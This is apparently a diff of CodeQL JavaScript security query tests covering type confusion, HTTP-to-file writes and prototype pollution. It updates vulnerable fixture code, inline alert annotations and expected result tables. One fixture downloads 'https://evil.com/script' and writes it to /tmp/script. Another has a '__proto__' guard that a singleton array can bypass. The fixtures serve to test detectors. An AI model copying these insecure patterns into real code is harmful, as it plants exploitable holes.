+| tst.js:11:9:11:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:11:9:11:11 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:15:9:15:11 | bar | tst.js:5:15:5:27 | req.query.foo | tst.js:15:9:15:11 | bar | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:27:5:27:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:27:5:27:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:28:5:28:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:28:5:28:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:30:5:30:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:30:5:30:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
+| tst.js:48:5:48:7 | foo | tst.js:47:15:47:35 | ctx.req ... ery.foo | tst.js:48:5:48:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:47:15:47:35 | ctx.req ... ery.foo | this HTTP request parameter |
+| tst.js:83:9:83:9 | p | tst.js:79:25:79:38 | req.query.path | tst.js:83:9:83:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:79:25:79:38 | req.query.path | this HTTP request parameter |
+| tst.js:84:9:84:9 | p | tst.js:79:25:79:38 | req.query.path | tst.js:84:9:84:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:79:25:79:38 | req.query.path | this HTTP request parameter |
+| tst.js:92:5:92:12 | data.foo | tst.js:92:5:92:12 | data.foo | tst.js:92:5:92:12 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:92:5:92:12 | data.foo | this HTTP request parameter |
+| tst.js:94:9:94:16 | data.foo | tst.js:94:9:94:16 | data.foo | tst.js:94:9:94:16 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:94:9:94:16 | data.foo | this HTTP request parameter |
+| tst.js:100:9:100:16 | data.foo | tst.js:100:9:100:16 | data.foo | tst.js:100:9:100:16 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:100:9:100:16 | data.foo | this HTTP request parameter |
+| tst.js:106:5:106:8 | data | tst.js:105:16:105:29 | req.query.data | tst.js:106:5:106:8 | data | Potential type confusion as $@ may be either an array or a string. | tst.js:105:16:105:29 | req.query.data | this HTTP request parameter |
 edges
 | tst.js:5:9:5:27 | foo | tst.js:6:5:6:7 | foo | provenance |  |
 | tst.js:5:9:5:27 | foo | tst.js:6:5:6:7 | foo | provenance |  |
@@ -11,14 +26,16 @@ edges
 | tst.js:5:9:5:27 | foo | tst.js:27:5:27:7 | foo | provenance |  |
 | tst.js:5:9:5:27 | foo | tst.js:27:5:27:7 | foo | provenance |  |
 | tst.js:5:9:5:27 | foo | tst.js:28:5:28:7 | foo | provenance |  |
+| tst.js:5:9:5:27 | foo | tst.js:28:5:28:7 | foo | provenance |  |
+| tst.js:5:9:5:27 | foo | tst.js:30:5:30:7 | foo | provenance |  |
 | tst.js:5:15:5:27 | req.query.foo | tst.js:5:9:5:27 | foo | provenance |  |
 | tst.js:6:5:6:7 | foo | tst.js:8:5:8:7 | foo | provenance |  |
 | tst.js:6:5:6:7 | foo | tst.js:8:5:8:7 | foo | provenance |  |
-| tst.js:8:5:8:7 | foo | tst.js:10:5:12:5 | functio ... K\\n    } [foo] | provenance |  |
+| tst.js:8:5:8:7 | foo | tst.js:10:5:12:5 | functio ... t\\n    } [foo] | provenance |  |
 | tst.js:8:5:8:7 | foo | tst.js:17:7:17:9 | foo | provenance |  |
-| tst.js:10:5:12:5 | functio ... K\\n    } [foo] | tst.js:10:14:10:14 | f [foo] | provenance |  |
-| tst.js:10:5:12:5 | functio ... K\\n    } [foo] | tst.js:11:9:11:11 | foo | provenance |  |
-| tst.js:10:14:10:14 | f [foo] | tst.js:39:12:39:12 | f [foo] | provenance |  |
+| tst.js:10:5:12:5 | functio ... t\\n    } [foo] | tst.js:10:14:10:14 | f [foo] | provenance |  |
+| tst.js:10:5:12:5 | functio ... t\\n    } [foo] | tst.js:11:9:11:11 | foo | provenance |  |
+| tst.js:10:14:10:14 | f [foo] | tst.js:41:12:41:12 | f [foo] | provenance |  |
 | tst.js:14:16:14:18 | bar | tst.js:15:9:15:11 | bar | provenance |  |
 | tst.js:17:7:17:9 | foo | tst.js:14:16:14:18 | bar | provenance |  |
 | tst.js:17:7:17:9 | foo | tst.js:21:5:21:7 | foo | provenance |  |
@@ -28,14 +45,16 @@ edges
 | tst.js:25:5:25:7 | foo | tst.js:27:5:27:7 | foo | provenance |  |
 | tst.js:25:5:25:7 | foo | tst.js:27:5:27:7 | foo | provenance |  |
 | tst.js:27:5:27:7 | foo | tst.js:28:5:28:7 | foo | provenance |  |
-| tst.js:39:12:39:12 | f [foo] | tst.js:11:9:11:11 | foo | provenance |  |
-| tst.js:45:9:45:35 | foo | tst.js:46:5:46:7 | foo | provenance |  |
-| tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:45:9:45:35 | foo | provenance |  |
-| tst.js:77:25:77:38 | req.query.path | tst.js:80:23:80:23 | p | provenance |  |
-| tst.js:80:23:80:23 | p | tst.js:81:9:81:9 | p | provenance |  |
-| tst.js:80:23:80:23 | p | tst.js:82:9:82:9 | p | provenance |  |
-| tst.js:103:9:103:29 | data | tst.js:104:5:104:8 | data | provenance |  |
-| tst.js:103:16:103:29 | req.query.data | tst.js:103:9:103:29 | data | provenance |  |
+| tst.js:27:5:27:7 | foo | tst.js:28:5:28:7 | foo | provenance |  |
+| tst.js:28:5:28:7 | foo | tst.js:30:5:30:7 | foo | provenance |  |
+| tst.js:41:12:41:12 | f [foo] | tst.js:11:9:11:11 | foo | provenance |  |
+| tst.js:47:9:47:35 | foo | tst.js:48:5:48:7 | foo | provenance |  |
+| tst.js:47:15:47:35 | ctx.req ... ery.foo | tst.js:47:9:47:35 | foo | provenance |  |
+| tst.js:79:25:79:38 | req.query.path | tst.js:82:23:82:23 | p | provenance |  |
+| tst.js:82:23:82:23 | p | tst.js:83:9:83:9 | p | provenance |  |
+| tst.js:82:23:82:23 | p | tst.js:84:9:84:9 | p | provenance |  |
+| tst.js:105:9:105:29 | data | tst.js:106:5:106:8 | data | provenance |  |
+| tst.js:105:16:105:29 | req.query.data | tst.js:105:9:105:29 | data | provenance |  |
 nodes
 | tst.js:5:9:5:27 | foo | semmle.label | foo |
 | tst.js:5:15:5:27 | req.query.foo | semmle.label | req.query.foo |
@@ -43,7 +62,7 @@ nodes
 | tst.js:6:5:6:7 | foo | semmle.label | foo |
 | tst.js:8:5:8:7 | foo | semmle.label | foo |
 | tst.js:8:5:8:7 | foo | semmle.label | foo |
-| tst.js:10:5:12:5 | functio ... K\\n    } [foo] | semmle.label | functio ... K\\n    } [foo] |
+| tst.js:10:5:12:5 | functio ... t\\n    } [foo] | semmle.label | functio ... t\\n    } [foo] |
 | tst.js:10:14:10:14 | f [foo] | semmle.label | f [foo] |
 | tst.js:11:9:11:11 | foo | semmle.label | foo |
 | tst.js:14:16:14:18 | bar | semmle.label | bar |
@@ -56,32 +75,20 @@ nodes
 | tst.js:27:5:27:7 | foo | semmle.label | foo |
 | tst.js:27:5:27:7 | foo | semmle.label | foo |
 | tst.js:28:5:28:7 | foo | semmle.label | foo |
-| tst.js:39:12:39:12 | f [foo] | semmle.label | f [foo] |
-| tst.js:45:9:45:35 | foo | semmle.label | foo |
-| tst.js:45:15:45:35 | ctx.req ... ery.foo | semmle.label | ctx.req ... ery.foo |
-| tst.js:46:5:46:7 | foo | semmle.label | foo |
-| tst.js:77:25:77:38 | req.query.path | semmle.label | req.query.path |
-| tst.js:80:23:80:23 | p | semmle.label | p |
-| tst.js:81:9:81:9 | p | semmle.label | p |
-| tst.js:82:9:82:9 | p | semmle.label | p |
-| tst.js:90:5:90:12 | data.foo | semmle.label | data.foo |
-| tst.js:92:9:92:16 | data.foo | semmle.label | data.foo |
-| tst.js:98:9:98:16 | data.foo | semmle.label | data.foo |
-| tst.js:103:9:103:29 | data | semmle.label | data |
-| tst.js:103:16:103:29 | req.query.data | semmle.label | req.query.data |
-| tst.js:104:5:104:8 | data | semmle.label | data |
+| tst.js:28:5:28:7 | foo | semmle.label | foo |
+| tst.js:30:5:30:7 | foo | semmle.label | foo |
+| tst.js:41:12:41:12 | f [foo] | semmle.label | f [foo] |
+| tst.js:47:9:47:35 | foo | semmle.label | foo |
+| tst.js:47:15:47:35 | ctx.req ... ery.foo | semmle.label | ctx.req ... ery.foo |
+| tst.js:48:5:48:7 | foo | semmle.label | foo |
+| tst.js:79:25:79:38 | req.query.path | semmle.label | req.query.path |
+| tst.js:82:23:82:23 | p | semmle.label | p |
+| tst.js:83:9:83:9 | p | semmle.label | p |
+| tst.js:84:9:84:9 | p | semmle.label | p |
+| tst.js:92:5:92:12 | data.foo | semmle.label | data.foo |
+| tst.js:94:9:94:16 | data.foo | semmle.label | data.foo |
+| tst.js:100:9:100:16 | data.foo | semmle.label | data.foo |
+| tst.js:105:9:105:29 | data | semmle.label | data |
+| tst.js:105:16:105:29 | req.query.data | semmle.label | req.query.data |
+| tst.js:106:5:106:8 | data | semmle.label | data |
 subpaths
-#select
-| tst.js:6:5:6:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:6:5:6:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:8:5:8:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:8:5:8:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:11:9:11:11 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:11:9:11:11 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:15:9:15:11 | bar | tst.js:5:15:5:27 | req.query.foo | tst.js:15:9:15:11 | bar | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:27:5:27:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:27:5:27:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:28:5:28:7 | foo | tst.js:5:15:5:27 | req.query.foo | tst.js:28:5:28:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:5:15:5:27 | req.query.foo | this HTTP request parameter |
-| tst.js:46:5:46:7 | foo | tst.js:45:15:45:35 | ctx.req ... ery.foo | tst.js:46:5:46:7 | foo | Potential type confusion as $@ may be either an array or a string. | tst.js:45:15:45:35 | ctx.req ... ery.foo | this HTTP request parameter |
-| tst.js:81:9:81:9 | p | tst.js:77:25:77:38 | req.query.path | tst.js:81:9:81:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:77:25:77:38 | req.query.path | this HTTP request parameter |
-| tst.js:82:9:82:9 | p | tst.js:77:25:77:38 | req.query.path | tst.js:82:9:82:9 | p | Potential type confusion as $@ may be either an array or a string. | tst.js:77:25:77:38 | req.query.path | this HTTP request parameter |
-| tst.js:90:5:90:12 | data.foo | tst.js:90:5:90:12 | data.foo | tst.js:90:5:90:12 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:90:5:90:12 | data.foo | this HTTP request parameter |
-| tst.js:92:9:92:16 | data.foo | tst.js:92:9:92:16 | data.foo | tst.js:92:9:92:16 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:92:9:92:16 | data.foo | this HTTP request parameter |
-| tst.js:98:9:98:16 | data.foo | tst.js:98:9:98:16 | data.foo | tst.js:98:9:98:16 | data.foo | Potential type confusion as $@ may be either an array or a string. | tst.js:98:9:98:16 | data.foo | this HTTP request parameter |
-| tst.js:104:5:104:8 | data | tst.js:103:16:103:29 | req.query.data | tst.js:104:5:104:8 | data | Potential type confusion as $@ may be either an array or a string. | tst.js:103:16:103:29 | req.query.data | this HTTP request parameter |
diff --git a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.qlref b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.qlref
index a7fa58d3b2bc..ede9b8f867cb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-843/TypeConfusionThroughParameterTampering.qlref
@@ -1 +1,2 @@
-Security/CWE-843/TypeConfusionThroughParameterTampering.ql
+query: Security/CWE-843/TypeConfusionThroughParameterTampering.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-843/tst.js b/javascript/ql/test/query-tests/Security/CWE-843/tst.js
index 3f5840b9f080..40e18cf22e9f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-843/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-843/tst.js
@@ -2,60 +2,62 @@ var express = require('express');
 var Koa = require('koa');
 
 express().get('/some/path', function (req, res) {
-    var foo = req.query.foo;
-    foo.indexOf(); // NOT OK
+    var foo = req.query.foo; // $ Source
+    foo.indexOf(); // $ Alert
 
-    foo.concat(); // NOT OK
+    foo.concat(); // $ Alert
 
     function f() {
-        foo.concat(); // NOT OK
+        foo.concat(); // $ Alert
     }
 
     function g(bar) {
-        bar.concat(); // NOT OK
+        bar.concat(); // $ Alert
     }
     g(foo);
 
-    req.url.indexOf(); // OK
+    req.url.indexOf();
 
-    foo.indexOf(prefix) === 0; // OK
-    foo.indexOf(prefix) == 0; // OK
-    foo.indexOf(prefix) !== 0; // OK
+    foo.indexOf(prefix) === 0;
+    foo.indexOf(prefix) == 0;
+    foo.indexOf(prefix) !== 0;
 
-    foo.slice(-1) === 'x'; // OK
+    foo.slice(-1) === 'x';
 
-    foo.indexOf(prefix) == 1; // NOT OK
-    foo.slice(1) === 'x'; // NOT OK
+    foo.indexOf(prefix) == 1; // $ Alert
+    foo.slice(1) === 'x'; // $ Alert
+
+    foo.length; // $ Alert
 
     if (typeof foo === "string") {
-        foo.indexOf(); //  OK
+        foo.indexOf();
     } else {
-        foo.indexOf(); //  OK
+        foo.indexOf();
     }
     if (foo instanceof Array) {
-        foo.indexOf(); //  OK, but still flagged [INCONSISTENCY]
+        foo.indexOf();
     }
 
-    (foo + f()).indexOf(); // OK
+    (foo + f()).indexOf();
 
-    foo.length; // NOT OK
+    foo.length; // $ MISSING: Alert - missed due to guards sanitising both branches
 });
 
 new Koa().use(function handler(ctx) {
-    var foo = ctx.request.query.foo;
-    foo.indexOf(); // NOT OK
+    var foo = ctx.request.query.foo; // $ Source
+    foo.indexOf(); // $ Alert
 });
 
 express().get('/some/path/:foo', function (req, res) {
     var foo = req.params.foo;
-    foo.indexOf(); // OK
+    foo.indexOf();
 });
 
 express().get('/some/path/:foo', function (req, res) {
-    if (req.query.path.length) { } // OK
-    req.query.path.length == 0; // OK
-    !req.query.path.length; // OK
-    req.query.path.length > 0; // OK
+    if (req.query.path.length) { }
+    req.query.path.length == 0;
+    !req.query.path.length;
+    req.query.path.length > 0;
 });
 
 express().get('/some/path/:foo', function (req, res) {
@@ -65,21 +67,21 @@ express().get('/some/path/:foo', function (req, res) {
         return;
     }
 
-    while (p.length) { // OK
+    while (p.length) {
         p = p.substr(1);
     }
 
-    p.length < 1; // OK
+    p.length < 1;
 });
 
 express().get('/some/path/:foo', function (req, res) {
     let someObject = {};
-    safeGet(someObject, req.query.path).bar = 'baz'; // prototype pollution here - but flagged in `safeGet`
+    safeGet(someObject, req.query.path).bar = 'baz'; // $ Source - prototype pollution here - but flagged in `safeGet`
 });
 
 function safeGet(obj, p) {
-    if (p === '__proto__' || // NOT OK - could be singleton array
-        p === 'constructor') { // NOT OK - could be singleton array
+    if (p === '__proto__' || // $ Alert - could be singleton array
+        p === 'constructor') { // $ Alert - could be singleton array
         return null;
     }
     return obj[p];
@@ -87,24 +89,24 @@ function safeGet(obj, p) {
 
 express().get('/foo', function (req, res) {
     let data = req.query;
-    data.foo.indexOf(); // NOT OK
+    data.foo.indexOf(); // $ Alert
     if (typeof data.foo !== 'undefined') {
-        data.foo.indexOf(); // NOT OK
+        data.foo.indexOf(); // $ Alert
     }
     if (typeof data.foo !== 'string') {
-        data.foo.indexOf(); // OK
+        data.foo.indexOf();
     }
     if (typeof data.foo !== 'undefined') {
-        data.foo.indexOf(); // NOT OK
+        data.foo.indexOf(); // $ Alert
     }
 });
 
 express().get('/foo', function (req, res) {
-    let data = req.query.data;
-    data.indexOf(); // NOT OK
+    let data = req.query.data; // $ Source
+    data.indexOf(); // $ Alert
     if (Array.isArray(data)) {
-        data.indexOf(); // OK
+        data.indexOf();
     } else {
-        data.indexOf(); // OK
+        data.indexOf();
     }
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-862/EmptyPasswordInConfigurationFile.qlref b/javascript/ql/test/query-tests/Security/CWE-862/EmptyPasswordInConfigurationFile.qlref
index 894dcbc7cbb2..3350d038cd52 100644
--- a/javascript/ql/test/query-tests/Security/CWE-862/EmptyPasswordInConfigurationFile.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-862/EmptyPasswordInConfigurationFile.qlref
@@ -1 +1 @@
-Security/CWE-862/EmptyPasswordInConfigurationFile.ql
+query: Security/CWE-862/EmptyPasswordInConfigurationFile.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
index 0928df48ef9a..c94888cc0ae5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected
@@ -1,5 +1,16 @@
+#select
+| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
+| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
+| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
+| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
+| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
+| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
 edges
 | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance |  |
+| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance |  |
+| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance |  |
+| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance |  |
+| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance |  |
 | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance |  |
 | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance |  |
 | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance |  |
@@ -10,6 +21,11 @@ edges
 nodes
 | HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d |
 | HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d |
+| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d |
+| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] |
+| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d |
+| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] |
+| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d |
 | tst.js:15:26:15:26 | c | semmle.label | c |
 | tst.js:16:33:16:33 | c | semmle.label | c |
 | tst.js:16:33:16:33 | c | semmle.label | c |
@@ -17,8 +33,3 @@ nodes
 | tst.js:19:25:19:25 | c | semmle.label | c |
 | tst.js:24:22:24:22 | c | semmle.label | c |
 subpaths
-#select
-| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
-| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
-| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
-| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
index 77645d0f3ac4..22c3b1cf2cfc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
+++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
@@ -2,7 +2,20 @@ var https = require("https");
 var fs = require("fs");
 
 https.get('https://evil.com/script', res => {
-  res.on("data", d => {
-    fs.writeFileSync("/tmp/script", d)
+  res.on("data", d => { // $ Source
+    fs.writeFileSync("/tmp/script", d) // $ Alert
+  });
+});
+
+
+https.get('https://evil.com/script', res => {
+  res.on("data", d => { // $ Source
+    fs.open("/tmp/script", 'r', (err, fd) => {
+      fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert
+        console.log(`Wrote ${bytesWritten} bytes`);
+      });
+
+      const bytesWritten = fs.writevSync(fd, [d]); // $ Alert
+    });
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.qlref b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.qlref
index 674372632908..d40718a26d8e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.qlref
@@ -1 +1,2 @@
-Security/CWE-912/HttpToFileAccess.ql
+query: Security/CWE-912/HttpToFileAccess.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-912/tst.js b/javascript/ql/test/query-tests/Security/CWE-912/tst.js
index 78acef7d3aad..00e89fd11e6f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-912/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-912/tst.js
@@ -12,28 +12,28 @@ try {
   },
   (response) => {
     response.setEncoding('utf8');
-    response.on('data', (c) => {
-      fs.writeFile("/tmp/test", c, (err) => {}); // BAD: data from response 'on' event flows to file
+    response.on('data', (c) => { // $ Source
+      fs.writeFile("/tmp/test", c, (err) => {}); // $ Alert - data from response 'on' event flows to file
 
       let writeStream = fs.createWriteStream('/usr/evil/evil.cmd');
-      writeStream.write(c); // BAD: data from response 'on' event flows to filestream write
+      writeStream.write(c); // $ Alert - data from response 'on' event flows to filestream write
       writeStream.end();
 
       var stream = fs.createWriteStream("my_file.txt");
       stream.once('open', function (fd) {
-        stream.write(c); // BAD: data from response 'on' event flows to filestream write
+        stream.write(c); // $ Alert - data from response 'on' event flows to filestream write
         stream.end();
       });
     });
     response.on('error', () => 
     { 
-	fs.writeFile("/tmp/test", "error occured"); // GOOD: static data written to file
+	fs.writeFile("/tmp/test", "error occured"); // OK - static data written to file
     });
   }).on('error', () => 
   { 
       let error = "error occured";
       let writeStream = fs.createWriteStream('/usr/good/errorlog.txt');
-      writeStream.write(error);  // GOOD: static data written to file stream
+      writeStream.write(error);  // OK - static data written to file stream
       writeStream.end();
   });
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected
deleted file mode 100644
index 8efa3a055b19..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.expected
+++ /dev/null
@@ -1 +0,0 @@
-| lib.js:70 | expected an alert, but found none | NOT OK | Config |
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql
deleted file mode 100644
index d80f9d23ff52..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/Consistency.ql
+++ /dev/null
@@ -1,16 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.PrototypePollutingAssignmentQuery
-
-deprecated class Config extends ConsistencyConfiguration {
-  Config() { this = "Config" }
-
-  override File getAFile() { any() }
-
-  override DataFlow::Node getAnAlert() {
-    exists(DataFlow::Node source |
-      PrototypePollutingAssignmentFlow::flow(source, result) and
-      not isIgnoredLibraryFlow(source, result)
-    )
-  }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
index 34df462cf0ae..67aadb32c311 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected
@@ -1,3 +1,31 @@
+#select
+| lib.js:6:7:6:9 | obj | lib.js:1:43:1:46 | path | lib.js:6:7:6:9 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:1:43:1:46 | path | library input |
+| lib.js:15:3:15:14 | obj[path[0]] | lib.js:14:38:14:41 | path | lib.js:15:3:15:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:14:38:14:41 | path | library input |
+| lib.js:22:3:22:14 | obj[path[0]] | lib.js:20:14:20:22 | arguments | lib.js:22:3:22:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:20:14:20:22 | arguments | library input |
+| lib.js:26:10:26:21 | obj[path[0]] | lib.js:25:44:25:47 | path | lib.js:26:10:26:21 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:25:44:25:47 | path | library input |
+| lib.js:34:3:34:14 | obj[path[0]] | lib.js:30:43:30:51 | arguments | lib.js:34:3:34:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:30:43:30:51 | arguments | library input |
+| lib.js:42:3:42:14 | obj[path[0]] | lib.js:38:27:38:35 | arguments | lib.js:42:3:42:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:38:27:38:35 | arguments | library input |
+| lib.js:87:10:87:14 | proto | lib.js:83:14:83:22 | arguments | lib.js:87:10:87:14 | proto | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:83:14:83:22 | arguments | library input |
+| lib.js:108:3:108:10 | obj[one] | lib.js:104:13:104:21 | arguments | lib.js:108:3:108:10 | obj[one] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:104:13:104:21 | arguments | library input |
+| lib.js:119:13:119:24 | obj[path[0]] | lib.js:118:29:118:32 | path | lib.js:119:13:119:24 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:118:29:118:32 | path | library input |
+| lib.js:128:9:128:20 | obj[path[0]] | lib.js:127:14:127:17 | path | lib.js:128:9:128:20 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | lib.js:127:14:127:17 | path | library input |
+| otherlib/src/otherlibimpl.js:2:3:2:14 | obj[path[0]] | otherlib/src/otherlibimpl.js:1:37:1:40 | path | otherlib/src/otherlibimpl.js:2:3:2:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | otherlib/src/otherlibimpl.js:1:37:1:40 | path | library input |
+| sublib/other.js:6:7:6:18 | obj[path[0]] | sublib/other.js:5:28:5:31 | path | sublib/other.js:6:7:6:18 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | sublib/other.js:5:28:5:31 | path | library input |
+| sublib/sub.js:2:3:2:14 | obj[path[0]] | sublib/sub.js:1:37:1:40 | path | sublib/sub.js:2:3:2:14 | obj[path[0]] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | sublib/sub.js:1:37:1:40 | path | library input |
